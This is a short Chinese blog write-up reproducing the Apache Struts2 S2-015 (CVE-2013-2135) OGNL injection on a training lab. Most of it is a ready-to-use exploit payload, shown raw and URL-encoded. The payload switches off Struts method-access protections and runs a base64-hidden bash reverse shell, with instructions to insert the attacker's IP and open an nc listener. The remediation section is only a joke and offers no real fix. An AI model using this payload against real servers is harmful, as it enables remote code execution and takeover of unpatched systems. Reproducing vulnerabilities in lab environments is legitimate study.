[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

一、漏洞情况分析

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含"${}"和"%{}"序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

构造好payload,弹nc

html 复制代码
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action

就构造好的payload,url编码

html 复制代码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action

接入我们的ip后面,同时本地打开nc监听

三、漏洞处置建议

把靶场关了,跟漏洞说"白白吧

相关推荐
CRUD酱11 小时前
微服务分模块后怎么跨模块访问资源
java·分布式·微服务·中间件·java-ee
gAlAxy...11 小时前
5 种 SpringBoot 项目创建方式
java·spring boot·后端
lalala_lulu11 小时前
什么是事务,事务有什么特性?
java·开发语言·数据库
白山云北诗11 小时前
企业网站网络安全防护方案
安全·web安全·网络安全·ddos防护·web应用防火墙·cc防护
沛沛老爹11 小时前
深入理解Agent Skills——AI助手的“专业工具箱“实战入门
java·人工智能·交互·rag·企业开发·web转型ai
蓝程序12 小时前
Spring AI学习 程序接入大模型(HTTP接入)
java·spring
小途软件12 小时前
ssm607家政公司服务平台的设计与实现+vue
java·人工智能·pytorch·python·深度学习·语言模型
星火开发设计12 小时前
二叉树详解及C++实现
java·数据结构·c++·学习·二叉树·知识·期末考试
Ahtacca12 小时前
解决服务间通信难题:Spring Boot 中 HttpClient 的标准使用姿势
java·spring boot·后端
宋情写12 小时前
JavaAI05-Chain、MCP
java·人工智能